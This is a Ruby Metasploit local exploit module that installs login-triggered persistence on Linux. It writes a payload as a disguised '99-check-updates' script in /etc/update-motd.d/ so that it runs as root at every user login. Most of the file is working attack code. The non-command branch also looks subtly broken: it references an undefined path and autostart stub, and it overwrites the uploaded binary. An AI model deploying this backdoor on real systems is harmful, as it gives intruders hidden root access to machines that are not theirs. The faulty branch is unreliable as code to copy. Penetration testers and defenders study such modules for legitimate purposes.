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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Unix
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  include Msf::Exploit::EXE # for generate_payload_exe
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  include Msf::Exploit::Deprecated
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  moved_from 'exploits/linux/local/motd_persistence'
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'update-motd.d Persistence',
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        'Description' => %q{
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          This module will add a script in /etc/update-motd.d/ in order to persist a payload.
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          The payload will be executed with root privileges everytime a user logs in.
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          Root privileges are likely required to write to /etc/update-motd.d/.
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          Verified on Ubuntu 22.04
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Julien Voisin' ],
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        'Platform' => [ 'unix', 'linux' ],
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        'Arch' => [
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          ARCH_CMD,
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'Payload' => {
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          'BadChars' => '#%\n"'
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        },
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [ ['Automatic', {}] ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '1999-01-01',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        },
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        'References' => [
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          ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
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        ]
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      )
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    )
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    register_options([
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      OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
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      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
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    ])
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  end
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  def check
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    return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
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    return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
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    print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
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    CheckCode::Appears('/etc/update-motd.d/ is writable')
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  end
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  def install_persistence
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    update_path = '/etc/update-motd.d/'
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    backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
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    if exists? backdoor_path
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      fail_with Failure::BadConfig, "#{backdoor_path} is already present"
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    end
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    if payload.arch.first == 'cmd'
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      write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
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    else
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      backdoor_path = writable_dir
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      backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
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      backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
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      backdoor_path << backdoor_name
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      print_status("Uploading payload file to #{backdoor_path}")
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      upload_and_chmodx backdoor_path, generate_payload_exe
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      write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
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      @clean_up_rc << "rm #{backdoor_path}\n"
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    end
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    write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
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    @clean_up_rc << "rm #{backdoor_path}\n"
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    chmod(backdoor_path, 0o755)
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    print_status "#{backdoor_path} written"
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    print_good('Payload will be triggered at user login')
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  end
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end
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